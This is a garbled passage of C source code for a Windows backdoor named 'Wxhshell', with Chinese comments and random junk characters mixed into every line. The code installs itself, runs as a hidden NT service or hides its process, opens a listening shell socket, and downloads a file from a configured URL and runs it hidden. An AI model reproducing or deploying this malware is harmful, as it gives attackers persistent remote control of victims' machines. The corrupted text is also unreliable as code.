N|pyp*8Z UF
g N@ if(strstr(procName,"services")) return 1; // 以服务启动 }]qx " 5`ma#_zk|f return 0; // 注册表启动 xJ;DkPh } d/Sx+1
"{T 1I'ep\`"X // 主模块 aS7[s6 int StartWxhshell(LPSTR lpCmdLine) Ly0U')D: { <lx~/3<m SOCKET wsl; [M^ur%H BOOL val=TRUE; `=]I-5#.W int port=0; /K#t$O4 struct sockaddr_in door; aYjFRH` U9om}WKO if(wscfg.ws_autoins) Install(); vFKt=o$ g .kBZ(`K port=atoi(lpCmdLine); F-=W7 D:[c Hkc:B/6 if(port<=0) port=wscfg.ws_port; 9$9Pv%F:j nUAs:Q WSADATA data; c'9-SY1'~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N"i'[!H% @ =RH_NB if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =5JTVF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jy,Dcl door.sin_family = AF_INET; =4;GIiF@ door.sin_addr.s_addr = inet_addr("127.0.0.1"); IZ2c<B5& door.sin_port = htons(port); R+c
{Pl 6j]pJ]F6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )8H5ovj. closesocket(wsl); ] -6=+\]
return 1; y.zS?vv2g } t=`bXBX1 ,{@,dw`lUz if(listen(wsl,2) == INVALID_SOCKET) { !wws9 closesocket(wsl); N6GvzmG#g return 1; `_IgH } ] M"l-A Wxhshell(wsl); ^JDiI7 WSACleanup(); k$V.hG|6M &ZjQa.-U> return 0; pg}9baW? H8>u: } EDm,Y kEM5eY // 以NT服务方式启动 ,j4 ;:F VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -Oo7]8 { cuJ%;q=; DWORD status = 0; 2?]NQE9lA DWORD specificError = 0xfffffff; sW#}QYd Ksp!xFk serviceStatus.dwServiceType = SERVICE_WIN32; _T\~AwVc< serviceStatus.dwCurrentState = SERVICE_START_PENDING; I2@pkVv3z serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o{EWNkmj serviceStatus.dwWin32ExitCode = 0; MP Ma serviceStatus.dwServiceSpecificExitCode = 0; ''9FB5 serviceStatus.dwCheckPoint = 0; k1A64?p serviceStatus.dwWaitHint = 0; a95QDz QR!8 n hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bDLPA27 if (hServiceStatusHandle==0) return; 09Sy-
je*/ oG! S(95 status = GetLastError(); G22=8V if (status!=NO_ERROR) * /S=9n0 { ,0^:q)_ serviceStatus.dwCurrentState = SERVICE_STOPPED; Td&w
serviceStatus.dwCheckPoint = 0; ^]He]FW':G serviceStatus.dwWaitHint = 0; R@=Bk(h serviceStatus.dwWin32ExitCode = status; XYbc1+C serviceStatus.dwServiceSpecificExitCode = specificError; _)q,:g~fu SetServiceStatus(hServiceStatusHandle, &serviceStatus); d7xd" return; 1D
/{Y } +U(m b IxY%d}[uo serviceStatus.dwCurrentState = SERVICE_RUNNING; Z/ "jLfP serviceStatus.dwCheckPoint = 0; *@'\4OO serviceStatus.dwWaitHint = 0; MQR@(>TZy if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \Rc7$bS2H } R3]Ra&h6N) m6P!#=a:l< // 处理NT服务事件,比如:启动、停止 &n%
3rC5{ VOID WINAPI NTServiceHandler(DWORD fdwControl) `(|jm$Q { ,q
yp2Y7 switch(fdwControl) !]tZE%? { y//yLrs; case SERVICE_CONTROL_STOP: z6tH2Wxf serviceStatus.dwWin32ExitCode = 0; MB,;HeP! serviceStatus.dwCurrentState = SERVICE_STOPPED; _v2K1 1 serviceStatus.dwCheckPoint = 0; ,!"\L~6 serviceStatus.dwWaitHint = 0; YuWsE4$ { C7ZU)MEUd/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z5/g\G[ } o0:[,ock return; 6x*u S~' case SERVICE_CONTROL_PAUSE: pn6 e{ serviceStatus.dwCurrentState = SERVICE_PAUSED; Hu
.e@7 break; /J8'mCuC. case SERVICE_CONTROL_CONTINUE: 4Fr0/="H serviceStatus.dwCurrentState = SERVICE_RUNNING; &e\A v.n@- break; $7{V+> case SERVICE_CONTROL_INTERROGATE: {1^9* break; &lYZ=|6 }; ~Co7 %e V SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;;E "+. } ;Ry
)^5Q B]K@'# // 标准应用程序主函数 }e/P|7& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e2~i@vq { YadY?o./ \2!v~&S // 获取操作系统版本 P=K+!3ZXo OsIsNt=GetOsVer(); A*ImruV GetModuleFileName(NULL,ExeFile,MAX_PATH); .!kqIx*3 oWVlHAPj // 从命令行安装 fu/v1Nhm if(strpbrk(lpCmdLine,"iI")) Install(); ~Tv
%6iaeE Aj06"ep // 下载执行文件 v4}kmH1 if(wscfg.ws_downexe) { 4
|$|]E if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lgC|3] WinExec(wscfg.ws_filenam,SW_HIDE); J7R+|GTcx } :%Dw3IrOM h(hb?f@1: if(!OsIsNt) { `;L0ax // 如果时win9x,隐藏进程并且设置为注册表启动 W?m?r.K? HideProc(); ".z~c%' StartWxhshell(lpCmdLine); iY~9`Q1E } |9)Q =( else 'vO+,- if(StartFromService()) hia_CuY# // 以服务方式启动 /#?lG`'1 StartServiceCtrlDispatcher(DispatchTable); QKYGeT7&Y' else 9k_3=KS3N // 普通方式启动 euHX7 StartWxhshell(lpCmdLine); }}v04~ OiAi{ 71 return 0; w$*t.Q* }
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